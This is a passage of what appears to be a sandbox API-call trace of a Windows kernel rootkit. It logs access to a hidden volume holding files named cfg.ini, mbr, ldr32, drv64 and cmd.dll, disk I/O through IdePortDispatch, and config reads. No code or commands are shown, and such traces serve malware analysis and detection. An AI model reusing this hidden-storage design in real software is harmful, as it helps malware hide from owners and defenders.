(FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.832] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf20d0 [0124.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.832] KeLeaveCriticalRegion () [0124.832] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.832] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.832] KeEnterCriticalRegion () [0124.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.832] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.832] KeLeaveCriticalRegion () [0124.832] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.832] KeEnterCriticalRegion () [0124.832] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.832] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.832] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.832] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.832] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.832] IdePortDispatch () returned 0x103 [0124.832] KeWaitForMutexObject () returned 0x0 [0124.832] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.832] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.832] KeLeaveCriticalRegion () [0124.832] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.832] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.832] KeEnterCriticalRegion () [0124.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cb000 [0124.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.833] IdePortDispatch () returned 0x103 [0124.833] KeWaitForMutexObject () returned 0x0 [0124.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.833] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.833] IdePortDispatch () returned 0x103 [0124.833] KeWaitForMutexObject () returned 0x0 [0124.833] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.833] KeLeaveCriticalRegion () [0124.833] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.834] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.834] KeEnterCriticalRegion () [0124.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] KeLeaveCriticalRegion () [0124.834] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.834] KeEnterCriticalRegion () [0124.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] KeLeaveCriticalRegion () [0124.834] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.834] KeEnterCriticalRegion () [0124.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] ExFreePoolWithTag (P=0xfffffa8003bf20d0, Tag=0x0) [0124.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] KeLeaveCriticalRegion () [0124.834] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.834] ReleaseMutex (hMutex=0xf0) returned 1 [0124.834] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.834] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.834] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.834] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.834] KeEnterCriticalRegion () [0124.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.834] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.834] IdePortDispatch () returned 0x103 [0124.834] KeWaitForMutexObject () returned 0x0 [0124.835] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.835] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.835] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.835] KeLeaveCriticalRegion () [0124.835] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.835] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.835] KeEnterCriticalRegion () [0124.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.835] IdePortDispatch () returned 0x103 [0124.835] KeWaitForMutexObject () returned 0x0 [0124.835] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.835] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.835] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.835] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.835] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.836] KeLeaveCriticalRegion () [0124.836] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.836] ReleaseMutex (hMutex=0x100) returned 1 [0124.836] Sleep (dwMilliseconds=0x2bf20) [0124.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d9c33f0, dwHighDateTime=0x1d24fa4)) [0124.842] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.842] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.842] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.842] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.842] KeEnterCriticalRegion () [0124.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.842] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.842] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.842] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.842] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.842] IdePortDispatch () returned 0x103 [0124.842] KeWaitForMutexObject () returned 0x0 [0124.842] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.842] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.842] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.842] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.843] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.843] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4f60 [0124.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] KeLeaveCriticalRegion () [0124.843] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.843] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.843] KeEnterCriticalRegion () [0124.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] KeLeaveCriticalRegion () [0124.843] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.843] KeEnterCriticalRegion () [0124.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.843] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.843] IdePortDispatch () returned 0x103 [0124.843] KeWaitForMutexObject () returned 0x0 [0124.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] KeLeaveCriticalRegion () [0124.843] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.843] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.843] KeEnterCriticalRegion () [0124.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.843] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ce000 [0124.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.843] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.843] IdePortDispatch () returned 0x103 [0124.843] KeWaitForMutexObject () returned 0x0 [0124.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.844] IdePortDispatch () returned 0x103 [0124.844] KeWaitForMutexObject () returned 0x0 [0124.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.844] KeLeaveCriticalRegion () [0124.844] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.844] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.844] KeEnterCriticalRegion () [0124.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.844] KeLeaveCriticalRegion () [0124.845] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.845] KeEnterCriticalRegion () [0124.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.845] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.845] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4d80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.845] KeLeaveCriticalRegion () [0124.845] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.845] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.845] KeEnterCriticalRegion () [0124.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.845] ExFreePoolWithTag (P=0xfffffa8003bf4f60, Tag=0x0) [0124.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.845] KeLeaveCriticalRegion () [0124.845] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.845] ReleaseMutex (hMutex=0xf0) returned 1 [0124.845] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.845] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.845] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.845] KeEnterCriticalRegion () [0124.845] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.845] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.845] IdePortDispatch () returned 0x103 [0124.845] KeWaitForMutexObject () returned 0x0 [0124.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.845] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.845] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.845] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.845] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.846] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1c00 [0124.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.846] KeLeaveCriticalRegion () [0124.846] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.846] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.846] KeEnterCriticalRegion () [0124.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.846] KeLeaveCriticalRegion () [0124.846] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.846] KeEnterCriticalRegion () [0124.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.846] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.846] IdePortDispatch () returned 0x103 [0124.846] KeWaitForMutexObject () returned 0x0 [0124.846] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.846] KeLeaveCriticalRegion () [0124.846] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.846] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.846] KeEnterCriticalRegion () [0124.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035cf000 [0124.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.847] IdePortDispatch () returned 0x103 [0124.847] KeWaitForMutexObject () returned 0x0 [0124.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.847] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.847] IdePortDispatch () returned 0x103 [0124.847] KeWaitForMutexObject () returned 0x0 [0124.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.847] KeLeaveCriticalRegion () [0124.847] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.848] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.848] KeEnterCriticalRegion () [0124.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.848] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 